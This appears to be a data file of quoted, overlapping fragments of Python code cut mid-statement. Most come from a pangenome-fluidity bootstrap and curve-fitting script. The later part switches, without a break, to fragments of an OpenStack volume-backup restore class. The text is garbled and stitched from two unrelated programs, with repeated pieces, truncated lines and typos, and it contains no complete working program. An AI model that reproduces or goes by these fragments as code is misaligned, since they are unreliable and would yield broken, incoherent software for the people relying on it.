*popt_b))) > 3:", "make up your pangenome. 2. If you have 5 isolates", "{N genomes sampled : [list of fluidities from subsamples]} for", "{} # {(Isolate1, Isolate2) : [ratio of sum(unique clusters)/sum(all clusters)]}", "number of genomes in the pangenome. ''' N = iso_num", "maxX = max(x_values) minX = min(x_values) maxY = max(y_curve_values) minY", "of subsamples to run on N genomes sampled. [default: 250000]',", "you have at least 5 isolates to make up your", "the max_off will force calculations to be done on all", "and runs them on separate threads for faster processing. Calcualtes", "sampled genomes (N is the max number of gneomes in", "= max(x_values) minX = min(x_values) maxY = max(y_curve_values) minY =", "and returns list of fluidities. ''' N = len(combo_list[0]) #", "x interval is 1 plt.xlim(x_labels[0], x_labels[len(x_labels)-1]) # adjust x limit", "1 plt.xlim(x_labels[0], x_labels[len(x_labels)-1]) # adjust x limit so it starts", "chunk = round(len(combos)/args.cpus) split_combos = [combos[i:i + chunk] for i", "if args.prefix: fluid_results = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.png'))", "itertools, scipy, warnings, subprocess import numpy as np import pandas", "fluidity results results.write('Genomes_Sampled\\tFluidity\\tTotal_Variance\\tTotal_Stderr\\tExponential_top\\tExponential_bottom\\n') r_out = [] for i in range(0,", "= Pool(processes=args.cpus) results = pool.imap(subsample_multiprocess, split_combos) pool.close() pool.join() sub_fluid_dict[N].append(results) else:", "= random.choices(N_combos, k=args.max_subsamples) perm_list.append(N) else: combos = N_combos print('Performing fluidity", "script sample ALL possible combinations'\\ 'for N genomes', ) parser.add_argument(", "pangenome. ''' N = iso_num fluidity_list = [ratio for ratio", "number of subsamples to run on N genomes sampled. [default:", "provide on, -i or --input') sys.exit() if args.prefix: fluid_results =", "output_folder', description = ''' Performs multiple bootstraps and calculates genome", "get all pairs from current jackknife sample jack_sample_fluidity = [pair_dict[tuple(sorted(p))]", "fluidity_i fluidity_i_list.append(fluidity_i) fluidity_i_mean = np.mean(fluidity_i_list) # calculate fluidity_i_mean from all", "c # \"seed\" the numpy random number generator for repeatable", "and pair[1] in v: cogs['Shared'] += 1 elif pair[0] in", "[default: 1]', metavar='' ) parser.add_argument( '-max_sub', '--max_subsamples', type=int, default=250000, help", "np.array([(pan_fluidity + v) for v in total_stderr]) fig, ax =", "+ c def sumOfSquaredError(parameterTuple, x_values, y_curve_values, func): warnings.filterwarnings(\"ignore\") # do", "= os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.png')) def create_ortho_dictionary(ortho_file): # create dictionary of gene", "variances. ''' sub_fluid_dict = {} # {N genomes sampled :", "args.max_off: combos = N_combos else: if len(N_combos) > args.max_subsamples: combos", "cogs['Uk'] += 1 elif pair[0] not in v and pair[1]", "(cogs['Uk'] + cogs['Shared']) + (cogs['Ul'] + cogs['Shared']) pair_dict[pair] = unique_pair/all_pair", "geneticParameters_bottom, maxfev=10000) if len(set(exponential(x_labels, *popt_t))) > 3 and len(set(exponential(x_labels, *popt_b)))", "max number of genomes in the pangenome. ''' N =", "= neg_exponential(x_labels, *popt_b) else: pass except: pass ax.set_axisbelow(True) plt.minorticks_on() plt.grid(which='minor',", "total_variance.append(np.var(sub_fluid_dict[i]) + pan_variance) total_variance = np.array(total_variance) total_stderr = np.array([x**(1/2) for", "> args.max_subsamples: combos = random.choices(N_combos, k=args.max_subsamples) perm_list.append(N) else: combos =", "can be altered with the -max_sub / --max_subsamples flag or", "seach bounds for b parameterBounds.append([-maxXY, maxXY]) # seach bounds for", "(cogs['Ul'] + cogs['Shared']) pair_dict[pair] = unique_pair/all_pair return pair_dict def compute_fluidity_all_genomes():", "y_fluidity_values = np.array([pan_fluidity for i in range(3, iso_num + 1)])", "list of fluidities. ''' N = len(combo_list[0]) # get N", "= 'Max number of subsamples to run on N genomes", "the limited number of sampled genomes (variance of the pangenome)(Kislyuk", "in flatten(item): yield x else: yield item def exponential(x, a,", "else: combos = N_combos print('Performing fluidity calculations on {} subsample", "from pair_dict fluidity_i = (2/((N-1)*(N-2)))*sum(jack_sample_fluidity) # calculate fluidity_i fluidity_i_list.append(fluidity_i) fluidity_i_mean", "os.path.abspath(args.input) else: print('ERROR: No orthogroups file was provided please provide", "for i in range(0, len(combos), chunk)] pool = Pool(processes=args.cpus) results", "pcov = curve_fit(neg_exponential, x_labels, stderr_top, geneticParameters_top, maxfev=10000) plt.fill_between(x_labels, neg_exponential(x_labels, *popt_t),", "sub_fluid_dict def flatten(lis): for item in lis: if isinstance(item, Iterable)", "'-p', '--prefix', help = 'Prefix to append to the result", "plt.xlim(x_labels[0], x_labels[len(x_labels)-1]) # adjust x limit so it starts with", "isolates your graph will probably not look pretty as it's", "in v and pair[1] not in v: cogs['Uk'] += 1", "v: cogs['Uk'] += 1 elif pair[0] not in v and", "1. This will only work if you have at least", "and calculates genome fluidity from a pangenome dataset (orthogroups).''', epilog", "class MyFormatter(argparse.RawTextHelpFormatter): def __init__(self, prog): super(MyFormatter, self).__init__(prog, max_help_position=48) parser =", "pairs] sample_fluidity = (2/(N*(N-1)))*sum(pair_fluidity_list) sample_process_list.append(sample_fluidity) return sample_process_list def genome_subsamples_fluidities(perm_list): '''", "print('Creating dictionary of paired ratio values') pair_dict = {} #", "subsamples]} for N in range(3, iso_num + 1): sub_fluid_dict[N] =", "random, itertools, scipy, warnings, subprocess import numpy as np import", "Performs multiple bootstraps and calculates genome fluidity from a pangenome", "for x in total_variance]) y_fluidity_values = np.array([pan_fluidity for i in", "unique sum gene clusters.''' print('Creating dictionary of paired ratio values')", ") args=parser.parse_args() if not os.path.isdir(args.out): os.makedirs(os.path.join(args.out)) result_dir = os.path.abspath(os.path.join(rundir, args.out))", "line: cluster, genes = line.split(':') elif '\\t' in line: cluster,", "OrderedDict from collections.abc import Iterable from scipy.optimize import curve_fit, differential_evolution", "This will cause the script sample ALL possible combinations'\\ 'for", "popt_b, pcov = curve_fit(exponential, x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000) if len(set(exponential(x_labels,", "and variance is calculated with a degree of freedom =", "x_labels[len(x_labels)-1]+1, 1.0)) # make sure x interval is 1 plt.xlim(x_labels[0],", "try: # Still had problems sometimes with fitting curves, this", "to append to the result files (such as Genus, species,", "warnings by genetic algorithm val = func(x_values, *parameterTuple) return np.sum((y_curve_values", "of genomes and the variance due to the limited number", "str(bottom_curve[i])]) for line in r_out: results.write('\\t'.join(line) + '\\n') if __name__", "N genomes from the total pool of genomes and the", "def sumOfSquaredError(parameterTuple, x_values, y_curve_values, func): warnings.filterwarnings(\"ignore\") # do not print", "- val) ** 2.0) def generate_Initial_Parameters(x_values, y_curve_values, func): # min", "differential_evolution rundir = os.getcwd() class MyFormatter(argparse.RawTextHelpFormatter): def __init__(self, prog): super(MyFormatter,", "on, -i or --input') sys.exit() if args.prefix: fluid_results = os.path.abspath(os.path.join(result_dir,", "+ '\\n') if __name__ == \"__main__\": ortho_dict = create_ortho_dictionary(input_file) iso_num", "to run on N genomes sampled. [default: 250000]', metavar='' )", "combinations'\\ 'for N genomes', ) parser.add_argument( '-p', '--prefix', help =", "args.prefix: fluid_results = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.png')) else:", "+ chunk] for i in range(0, len(combos), chunk)] pool =", "Genus, species, etc.)', metavar='' ) args=parser.parse_args() if not os.path.isdir(args.out): os.makedirs(os.path.join(args.out))", "all N genome samples and a figure of pangenome fluidity", "def exponential(x, a, b, c): return a * np.exp(b *", "= max(maxX, maxY) parameterBounds = [] parameterBounds.append([-maxXY, maxXY]) # seach", "sample_fluidity = (2/(N*(N-1)))*sum(pair_fluidity_list) sample_process_list.append(sample_fluidity) return sample_process_list def genome_subsamples_fluidities(perm_list): ''' Compute", "input_file = os.path.abspath(args.input) else: print('ERROR: No orthogroups file was provided", "pretty as it's difficult to fit with such a low", "= iso_num fluidity_list = [ratio for ratio in pair_dict.values()] #", "to use for multiprocessing [default: 1]', metavar='' ) parser.add_argument( '-max_sub',", "= os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.png')) else: fluid_results = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.txt')) fluid_fig =", "line: cluster, genes = line.split('\\t', 1) else: cluster, genes =", "ddof = 1) + pan_variance) else: total_variance.append(np.var(sub_fluid_dict[i]) + pan_variance) total_variance", "stderr_top = np.array([(pan_fluidity + v) for v in total_stderr]) fig,", "up your pangenome. 2. If you have 5 isolates your", "error are estimated as total variance containing both the variance", "1) for match in re.finditer(r'([^\\s]+)', genes): isolate = match.group(0).split('_')[0] iso_list.append(isolate)", "and not isinstance(item, str): for x in flatten(item): yield x", "cluster if both isolates are not present unique_pair = cogs['Uk']", "text file of fluidity, variance, and standard error for all", "with fitting curves, this solution works best for now geneticParameters_top", "for each N genomes. This can be altered with the", "generate_Initial_Parameters(x_labels, stderr_top, exponential) geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom, exponential) popt_t, pcov", "'--cpus', type=int, default=1, help = 'Number of cores to use", "0, 'Uk' : 0, 'Ul' : 0} for k,v in", "parser.add_argument( '-o', '--out', required = True, help = 'Output folder',", "+ 1): if i in permutation_list: total_variance.append(np.var(sub_fluid_dict[i], ddof = 1)", "bounds for a parameterBounds.append([-maxXY, maxXY]) # seach bounds for b", "+ cogs['Shared']) + (cogs['Ul'] + cogs['Shared']) pair_dict[pair] = unique_pair/all_pair return", "This will only work if you have at least 5", "total_stderr]) stderr_top = np.array([(pan_fluidity + v) for v in total_stderr])", "(orthogroups).''', epilog = \"\"\"Written by <NAME> (2019)\"\"\", formatter_class = MyFormatter)", "min(x_values) maxY = max(y_curve_values) minY = min(y_curve_values) maxXY = max(maxX,", "turned off with the --max_off flag. Turning the max_off will", "combos = random.choices(N_combos, k=args.max_subsamples) perm_list.append(N) else: combos = N_combos print('Performing", "round(len(combos)/args.cpus) split_combos = [combos[i:i + chunk] for i in range(0,", "iso_list[x]])) if not pair in pair_dict.keys(): cogs = {'Shared' :", "stderr_bottom, geneticParameters_bottom, maxfev=10000) plt.fill_between(x_labels, exponential(x_labels, *popt_t), neg_exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6)", "max(maxX, maxY) parameterBounds = [] parameterBounds.append([-maxXY, maxXY]) # seach bounds", "len(set(exponential(x_labels, *popt_t))) <= 3: geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top, neg_exponential) popt_t,", "+ v) for v in total_stderr]) fig, ax = plt.subplots()", "return a * np.exp(b * x) + c def neg_exponential(x,", "not in v and pair[1] in v: cogs['Ul'] += 1", "line.split(':') elif '\\t' in line: cluster, genes = line.split('\\t', 1)", "of genomes in the pangenome. ''' N = iso_num fluidity_list", "not in v: cogs['Uk'] += 1 elif pair[0] not in", "for b parameterBounds.append([-maxXY, maxXY]) # seach bounds for c #", "val) ** 2.0) def generate_Initial_Parameters(x_values, y_curve_values, func): # min and", "pair_dict = create_pair_dictionary(ortho_dict) pan_results = compute_fluidity_all_genomes() pan_fluidity = pan_results[0] pan_variance", "= list(set(itertools.chain.from_iterable([v for v in ortho_dict.values() if len(v) == iso_num])))", "'''Create all possible unique pairs of isolates and get their", "iso_num = max([len(v) for v in ortho_dict.values()]) iso_list = list(set(itertools.chain.from_iterable([v" ]
[ "+ chr(ord('a') + vol_index) block_device_mapping[dev_name] = new_volume_id restore = self.cinder.restores.restore(backup_id=backup_id,", "**kwargs): super(BackupException, self).__init__(*args, **kwargs) self.what = what def __str__(self): return", "from neutronclient.v2_0 import client as neutron_client from novaclient import client", "skip_vm: name = restored_volume.metadata['osvb_name'] flavor = restored_volume.metadata['osvb_flavor'] flavor = self.nova.flavors.find(name=flavor)", "be up and running :return: The most updated resource \"\"\"", "to be up and running :return: The most updated resource", "backup for backup_id, backup_meta in self.backup_meta_data.iteritems(): if backup_meta['backup_time'] == selected_backup_timestamp:", "running :return: The most updated resource \"\"\" if timeout: deadline", "import loads from neutronclient.v2_0 import client as neutron_client from novaclient", "resource to come to a specific state. :param resource: Resource", "cinderclient import client as cinder_client from osvolbackup.server import ServerInstance, ServerNotFound", "{\"id\": backup.volume_id, \"size\": backup.size} self.available_backups = sorted(set([b['backup_time'] for b in", "saved_networks.iteritems(): nic_info = {} nic_info['net-id'] = self.neutron.list_networks(name=network_name)['networks'][0]['id'] nic_info['v4-fixed-ip'] = network_ips[0]", "Status is %s%s' % (self.__class__.__name__, self.what.status, steps)) class BackupNotFound(BackupException): pass", "self.selected_backups.append(backup_id) self.selected_volumes.append(self.volume_map[backup_id]) self.selected_metadata = backup_meta def get_volumes(self): return self.selected_volumes def", "self.session = get_session() self.neutron = neutron_client.Client(session=session) self.nova = nova_client.Client(VERSION, session=session)", "timeout else: deadline = time() + (self.max_secs_gbi * resource.size) while", "time() + timeout else: deadline = time() + (self.max_secs_gbi *", "vol_index = self.backup_meta_data[backup_id]['vol_index'] new_volume_id = new_volume_list[i].id vprint(\"Restoring from backup\", backup_id,", "= network.split(\"=\") net_id = self.neutron.list_networks(name=net_name)['networks'][0]['id'] nic_info = {'net-id': net_id, 'v4-fixed-ip':", "want to wait for :param allowed_states: iterator with allowed intermediary", "final='', *args, **kwargs): super(UnexpectedStatus, self).__init__(what, *args, **kwargs) self.intermediate = intermediate", "self.backup_list = self.cinder.backups.list(search_opts={\"name\": name}) self.volume_map = {} if len(self.backup_list) ==", "('restoring-backup',), 'available') # We need to get again to refresh", "associated with the selected backup for backup_id, backup_meta in self.backup_meta_data.iteritems():", "target_cinder = cinder_client.Client(VERSION, session=target_session) vol_list = [] for volume in", "= cinder_client.Client(VERSION, session=session) try: server = ServerInstance(serverName) except ServerNotFound: name", "get_session() self.neutron = neutron_client.Client(session=session) self.nova = nova_client.Client(VERSION, session=session) self.cinder =", "target_nova = nova_client.Client(VERSION, session=target_session) server = target_nova.servers.create( name=name, image=None, flavor=flavor,", "resource.status in allowed_states: sleep(self.poll_delay) if deadline <= time(): raise TimeoutError(what=resource)", "in expected_states: raise UnexpectedStatus(what=resource, intermediate=allowed_states, final=expected_states) return resource class BackupException(Exception):", "new_volume_list[i].id vprint(\"Restoring from backup\", backup_id, \"to volume\", new_volume_id) dev_name =", "def __str__(self): return u'%s: %s' % (self.__class__.__name__, self.what) class UnexpectedStatus(BackupException):", "and running :return: The most updated resource \"\"\" if timeout:", "def get_volumes(self): return self.selected_volumes def restore(self, server=None, network=None, to_project=None, skip_vm=False):", "session=session) try: server = ServerInstance(serverName) except ServerNotFound: name = 'osvb_'+serverName", "None is supplied then anything is good. :param need_up: If", "loads(backup.description) backup_meta_data[backup.id] = meta_data self.volume_map[backup.id] = {\"id\": backup.volume_id, \"size\": backup.size}", "= [] for volume in volume_list: vprint(\"Creating %dG volume\" %", "import time, sleep class BackupGroup(object): max_secs_gbi = 300 poll_delay =", "if self.intermediate or self.final: steps = (' [intermediate: %s, final:", "self.backup_meta_data[backup_id]['vol_index'] new_volume_id = new_volume_list[i].id vprint(\"Restoring from backup\", backup_id, \"to volume\",", "volumes block_device_mapping = {} for i, backup_id in enumerate(self.selected_backups): vol_index", "nic_info['net-id'] = self.neutron.list_networks(name=network_name)['networks'][0]['id'] nic_info['v4-fixed-ip'] = network_ips[0] nics.append(nic_info) target_session = get_session(to_project)", "== 'last': selected_backup_timestamp = self.available_backups[-1] else: raise BackupTooMany(tag) # Get", "'osvb_'+serverName else: name = 'osvb_'+server.instance.id self.backup_list = self.cinder.backups.list(search_opts={\"name\": name}) self.volume_map", "%s%s' % (self.__class__.__name__, self.what.status, steps)) class BackupNotFound(BackupException): pass class BackupTooMany(BackupException):", "backup service to be up and running :return: The most", "= [] self.selected_volumes = [] session = self.session = get_session()", "network_ips in saved_networks.iteritems(): nic_info = {} nic_info['net-id'] = self.neutron.list_networks(name=network_name)['networks'][0]['id'] nic_info['v4-fixed-ip']", "class UnexpectedStatus(BackupException): def __init__(self, what, intermediate='', final='', *args, **kwargs): super(UnexpectedStatus,", "state. :param resource: Resource we want to wait for :param", "raise BackupNotFound(serverName) # Load metadata from the backup description field", "volumes based \"\"\" vprint(\"Creating volumes for the instance restore\") target_session", "__init__(self, what, *args, **kwargs): super(BackupException, self).__init__(*args, **kwargs) self.what = what", "volume_id=new_volume_id) restored_volume = self.cinder.volumes.get(restore.volume_id) self._wait_for(restored_volume, ('restoring-backup',), 'available') # We need", "nic_info = {'net-id': net_id, 'v4-fixed-ip': net_ip} nics.append(nic_info) else: for network_name,", "self.what = what def __str__(self): return u'%s: %s' % (self.__class__.__name__,", "is supplied then anything is good. :param need_up: If wee", "= {} if len(self.backup_list) == 0: raise BackupNotFound(serverName) # Load", "self).__init__(what, *args, **kwargs) self.intermediate = intermediate self.final = final def", "come to a specific state. :param resource: Resource we want", "client as nova_client from cinderclient import client as cinder_client from", "backup_meta def get_volumes(self): return self.selected_volumes def restore(self, server=None, network=None, to_project=None,", "net_id = self.neutron.list_networks(name=net_name)['networks'][0]['id'] nic_info = {'net-id': net_id, 'v4-fixed-ip': net_ip} nics.append(nic_info)", "restore = self.cinder.restores.restore(backup_id=backup_id, volume_id=new_volume_id) restored_volume = self.cinder.volumes.get(restore.volume_id) self._wait_for(restored_volume, ('restoring-backup',), 'available')", "= self.nova.flavors.find(name=self.selected_metadata['flavor']) new_volume_list = self._create_volumes(self.selected_volumes, to_project) # Restore the volumes", "backup_meta['backup_time'] == selected_backup_timestamp: self.selected_backups.append(backup_id) self.selected_volumes.append(self.volume_map[backup_id]) self.selected_metadata = backup_meta def get_volumes(self):", "deadline <= time(): raise TimeoutError(what=resource) resource = resource.manager.get(resource.id) if expected_states", "[] for volume in volume_list: vprint(\"Creating %dG volume\" % volume['size'])", "from time import time, sleep class BackupGroup(object): max_secs_gbi = 300", "ServerNotFound: name = 'osvb_'+serverName else: name = 'osvb_'+server.instance.id self.backup_list =", "restored_volume = self.cinder.volumes.get(restore.volume_id) if vol_index == 0: if not skip_vm:", "= [] if network is not None: net_name, net_ip =", "related operations # from __future__ import print_function from json import", "deadline = time() + (self.max_secs_gbi * resource.size) while resource.status in", "= {} for backup in self.backup_list: meta_data = loads(backup.description) backup_meta_data[backup.id]", "steps = (' [intermediate: %s, final: %s]' % (self.intermediate, self.final))", "# Restore the volumes block_device_mapping = {} for i, backup_id", "the end, if None is supplied then anything is good.", "10 def __init__(self, serverName): self.selected_metadata = None self.selected_backups = []", "self._wait_for(restored_volume, ('restoring-backup',), 'available') # We need to get again to", "states we expect to have at the end, if None", "__str__(self): return u'%s: %s' % (self.__class__.__name__, self.what) class UnexpectedStatus(BackupException): def", "import ServerInstance, ServerNotFound from osvolbackup.osauth import get_session, VERSION from osvolbackup.verbose", "metadata from the backup description field self.backup_meta_data = backup_meta_data =", "specific state. :param resource: Resource we want to wait for", "**kwargs) self.what = what def __str__(self): return u'%s: %s' %", "return self.selected_volumes def restore(self, server=None, network=None, to_project=None, skip_vm=False): # flavor", "name = restored_volume.metadata['osvb_name'] flavor = restored_volume.metadata['osvb_flavor'] flavor = self.nova.flavors.find(name=flavor) #", "self.backup_meta_data = backup_meta_data = {} for backup in self.backup_list: meta_data", "nic_info = {} nic_info['net-id'] = self.neutron.list_networks(name=network_name)['networks'][0]['id'] nic_info['v4-fixed-ip'] = network_ips[0] nics.append(nic_info)", "% (self.intermediate, self.final)) else: steps = '' return (u'%s: Status", "nova_client.Client(VERSION, session=session) self.cinder = cinder_client.Client(VERSION, session=session) try: server = ServerInstance(serverName)", "('creating',), 'available') vol_list.append(new_volume) return vol_list # Borrowed from https://github.com/Akrog/cinderback/blob/master/cinderback.py def", "final=expected_states) return resource class BackupException(Exception): def __init__(self, what, *args, **kwargs):", "% (self.__class__.__name__, self.what) class UnexpectedStatus(BackupException): def __init__(self, what, intermediate='', final='',", "resource class BackupException(Exception): def __init__(self, what, *args, **kwargs): super(BackupException, self).__init__(*args,", "neutron_client.Client(session=session) self.nova = nova_client.Client(VERSION, session=session) self.cinder = cinder_client.Client(VERSION, session=session) try:", "from https://github.com/Akrog/cinderback/blob/master/cinderback.py def _wait_for(self, resource, allowed_states, expected_states=None, timeout=None): \"\"\"Waits for", "= self.backup_meta_data[backup_id]['vol_index'] new_volume_id = new_volume_list[i].id vprint(\"Restoring from backup\", backup_id, \"to", "server instances related operations # from __future__ import print_function from", "{} nic_info['net-id'] = self.neutron.list_networks(name=network_name)['networks'][0]['id'] nic_info['v4-fixed-ip'] = network_ips[0] nics.append(nic_info) target_session =", "a resource to come to a specific state. :param resource:", "from backup\", backup_id, \"to volume\", new_volume_id) dev_name = \"vd\" +", "name to id saved_networks = loads(restored_volume.metadata['osvb_network']) if not skip_vm: nics", "else: deadline = time() + (self.max_secs_gbi * resource.size) while resource.status", "raise TimeoutError(what=resource) resource = resource.manager.get(resource.id) if expected_states and resource.status not", "== 0: raise BackupNotFound(serverName) # Load metadata from the backup", "the selected backup for backup_id, backup_meta in self.backup_meta_data.iteritems(): if backup_meta['backup_time']", "super(BackupException, self).__init__(*args, **kwargs) self.what = what def __str__(self): return u'%s:", "client as cinder_client from osvolbackup.server import ServerInstance, ServerNotFound from osvolbackup.osauth", "not skip_vm: nics = [] if network is not None:", "anything is good. :param need_up: If wee need backup service", "to have at the end, if None is supplied then", "self.available_backups[-1] else: raise BackupTooMany(tag) # Get volumes associated with the", "Instance class that encapsulate some complex server instances related operations", "= restored_volume.metadata['osvb_name'] flavor = restored_volume.metadata['osvb_flavor'] flavor = self.nova.flavors.find(name=flavor) # name", "restored_volume.metadata['osvb_name'] flavor = restored_volume.metadata['osvb_flavor'] flavor = self.nova.flavors.find(name=flavor) # name to", "a specific state. :param resource: Resource we want to wait", "0: if not skip_vm: name = restored_volume.metadata['osvb_name'] flavor = restored_volume.metadata['osvb_flavor']", "iterator with allowed intermediary states :param expected_states: states we expect", "net_name, net_ip = network.split(\"=\") net_id = self.neutron.list_networks(name=net_name)['networks'][0]['id'] nic_info = {'net-id':", "else: for network_name, network_ips in saved_networks.iteritems(): nic_info = {} nic_info['net-id']", "cinder_client.Client(VERSION, session=session) try: server = ServerInstance(serverName) except ServerNotFound: name =", "get_volumes(self): return self.selected_volumes def restore(self, server=None, network=None, to_project=None, skip_vm=False): #", "for network_name, network_ips in saved_networks.iteritems(): nic_info = {} nic_info['net-id'] =", "vprint(\"Creating %dG volume\" % volume['size']) new_volume = target_cinder.volumes.create(volume['size']) self._wait_for(new_volume, ('creating',),", "Create volumes based \"\"\" vprint(\"Creating volumes for the instance restore\")", "(self.__class__.__name__, self.what) class UnexpectedStatus(BackupException): def __init__(self, what, intermediate='', final='', *args,", "provides the Instance class that encapsulate some complex server instances", "the instance restore\") target_session = get_session(to_project) target_cinder = cinder_client.Client(VERSION, session=target_session)", "good. :param need_up: If wee need backup service to be", "return resource class BackupException(Exception): def __init__(self, what, *args, **kwargs): super(BackupException,", "end, if None is supplied then anything is good. :param", "= final def __str__(self): if self.intermediate or self.final: steps =", "from json import loads from neutronclient.v2_0 import client as neutron_client", "self.volume_map[backup.id] = {\"id\": backup.volume_id, \"size\": backup.size} self.available_backups = sorted(set([b['backup_time'] for", "to refresh the metadata restored_volume = self.cinder.volumes.get(restore.volume_id) if vol_index ==", "%dG volume\" % volume['size']) new_volume = target_cinder.volumes.create(volume['size']) self._wait_for(new_volume, ('creating',), 'available')", "= None self.selected_backups = [] self.selected_volumes = [] session =", "= 'osvb_'+serverName else: name = 'osvb_'+server.instance.id self.backup_list = self.cinder.backups.list(search_opts={\"name\": name})", "= 300 poll_delay = 10 def __init__(self, serverName): self.selected_metadata =", "self.nova.flavors.find(name=self.selected_metadata['flavor']) new_volume_list = self._create_volumes(self.selected_volumes, to_project) # Restore the volumes block_device_mapping", "the metadata restored_volume = self.cinder.volumes.get(restore.volume_id) if vol_index == 0: if", "self.backup_meta_data.iteritems(): if backup_meta['backup_time'] == selected_backup_timestamp: self.selected_backups.append(backup_id) self.selected_volumes.append(self.volume_map[backup_id]) self.selected_metadata = backup_meta", "= cinder_client.Client(VERSION, session=target_session) vol_list = [] for volume in volume_list:", "'last': selected_backup_timestamp = self.available_backups[-1] else: raise BackupTooMany(tag) # Get volumes", "%s, final: %s]' % (self.intermediate, self.final)) else: steps = ''", "target_session = get_session(to_project) target_cinder = cinder_client.Client(VERSION, session=target_session) vol_list = []", "net_ip} nics.append(nic_info) else: for network_name, network_ips in saved_networks.iteritems(): nic_info =", "__init__(self, serverName): self.selected_metadata = None self.selected_backups = [] self.selected_volumes =", "into instance\", server.id) def _create_volumes(self, volume_list, to_project): \"\"\" Create volumes", "wait for :param allowed_states: iterator with allowed intermediary states :param", ") print(\"Server was restored into instance\", server.id) def _create_volumes(self, volume_list,", "final def __str__(self): if self.intermediate or self.final: steps = ('", "{} for i, backup_id in enumerate(self.selected_backups): vol_index = self.backup_meta_data[backup_id]['vol_index'] new_volume_id", "BackupException(Exception): def __init__(self, what, *args, **kwargs): super(BackupException, self).__init__(*args, **kwargs) self.what", "updated resource \"\"\" if timeout: deadline = time() + timeout", "**kwargs) self.intermediate = intermediate self.final = final def __str__(self): if", "== 0: if not skip_vm: name = restored_volume.metadata['osvb_name'] flavor =", "complex server instances related operations # from __future__ import print_function", "as nova_client from cinderclient import client as cinder_client from osvolbackup.server", "300 poll_delay = 10 def __init__(self, serverName): self.selected_metadata = None", ":param allowed_states: iterator with allowed intermediary states :param expected_states: states", "time, sleep class BackupGroup(object): max_secs_gbi = 300 poll_delay = 10", "refresh the metadata restored_volume = self.cinder.volumes.get(restore.volume_id) if vol_index == 0:", "name = 'osvb_'+serverName else: name = 'osvb_'+server.instance.id self.backup_list = self.cinder.backups.list(search_opts={\"name\":", "\"\"\" if timeout: deadline = time() + timeout else: deadline", "allowed_states: iterator with allowed intermediary states :param expected_states: states we", "vol_index == 0: if not skip_vm: name = restored_volume.metadata['osvb_name'] flavor", "= nova_client.Client(VERSION, session=target_session) server = target_nova.servers.create( name=name, image=None, flavor=flavor, block_device_mapping=block_device_mapping,", "as cinder_client from osvolbackup.server import ServerInstance, ServerNotFound from osvolbackup.osauth import", "with the selected backup for backup_id, backup_meta in self.backup_meta_data.iteritems(): if", "timeout=None): \"\"\"Waits for a resource to come to a specific", "then anything is good. :param need_up: If wee need backup", "network_name, network_ips in saved_networks.iteritems(): nic_info = {} nic_info['net-id'] = self.neutron.list_networks(name=network_name)['networks'][0]['id']", "block_device_mapping=block_device_mapping, nics=nics ) print(\"Server was restored into instance\", server.id) def", "= meta_data self.volume_map[backup.id] = {\"id\": backup.volume_id, \"size\": backup.size} self.available_backups =", "'v4-fixed-ip': net_ip} nics.append(nic_info) else: for network_name, network_ips in saved_networks.iteritems(): nic_info", "UnexpectedStatus(what=resource, intermediate=allowed_states, final=expected_states) return resource class BackupException(Exception): def __init__(self, what,", "nic_info['v4-fixed-ip'] = network_ips[0] nics.append(nic_info) target_session = get_session(to_project) target_nova = nova_client.Client(VERSION,", "backup_id, backup_meta in self.backup_meta_data.iteritems(): if backup_meta['backup_time'] == selected_backup_timestamp: self.selected_backups.append(backup_id) self.selected_volumes.append(self.volume_map[backup_id])", "skip_vm: nics = [] if network is not None: net_name,", "tag == 'last': selected_backup_timestamp = self.available_backups[-1] else: raise BackupTooMany(tag) #", "backup_meta in self.backup_meta_data.iteritems(): if backup_meta['backup_time'] == selected_backup_timestamp: self.selected_backups.append(backup_id) self.selected_volumes.append(self.volume_map[backup_id]) self.selected_metadata", "volume in volume_list: vprint(\"Creating %dG volume\" % volume['size']) new_volume =", "what, *args, **kwargs): super(BackupException, self).__init__(*args, **kwargs) self.what = what def", "volumes associated with the selected backup for backup_id, backup_meta in", "import client as neutron_client from novaclient import client as nova_client", "nics = [] if network is not None: net_name, net_ip", "restored_volume.metadata['osvb_flavor'] flavor = self.nova.flavors.find(name=flavor) # name to id saved_networks =", "= self.cinder.volumes.get(restore.volume_id) self._wait_for(restored_volume, ('restoring-backup',), 'available') # We need to get", "# Get volumes associated with the selected backup for backup_id,", "skip_vm=False): # flavor = self.nova.flavors.find(name=self.selected_metadata['flavor']) new_volume_list = self._create_volumes(self.selected_volumes, to_project) #", "= (' [intermediate: %s, final: %s]' % (self.intermediate, self.final)) else:", "is %s%s' % (self.__class__.__name__, self.what.status, steps)) class BackupNotFound(BackupException): pass class", "self.selected_metadata = backup_meta def get_volumes(self): return self.selected_volumes def restore(self, server=None,", "for i, backup_id in enumerate(self.selected_backups): vol_index = self.backup_meta_data[backup_id]['vol_index'] new_volume_id =", "nics.append(nic_info) target_session = get_session(to_project) target_nova = nova_client.Client(VERSION, session=target_session) server =", "super(UnexpectedStatus, self).__init__(what, *args, **kwargs) self.intermediate = intermediate self.final = final", "# Borrowed from https://github.com/Akrog/cinderback/blob/master/cinderback.py def _wait_for(self, resource, allowed_states, expected_states=None, timeout=None):", "resource \"\"\" if timeout: deadline = time() + timeout else:", "resource.size) while resource.status in allowed_states: sleep(self.poll_delay) if deadline <= time():", "neutron_client from novaclient import client as nova_client from cinderclient import", "self.selected_backups = [] self.selected_volumes = [] session = self.session =", "ServerInstance, ServerNotFound from osvolbackup.osauth import get_session, VERSION from osvolbackup.verbose import", "encapsulate some complex server instances related operations # from __future__", "# Load metadata from the backup description field self.backup_meta_data =", "= neutron_client.Client(session=session) self.nova = nova_client.Client(VERSION, session=session) self.cinder = cinder_client.Client(VERSION, session=session)", "+ timeout else: deadline = time() + (self.max_secs_gbi * resource.size)", "from osvolbackup.osauth import get_session, VERSION from osvolbackup.verbose import vprint from", "again to refresh the metadata restored_volume = self.cinder.volumes.get(restore.volume_id) if vol_index", "__init__(self, what, intermediate='', final='', *args, **kwargs): super(UnexpectedStatus, self).__init__(what, *args, **kwargs)", 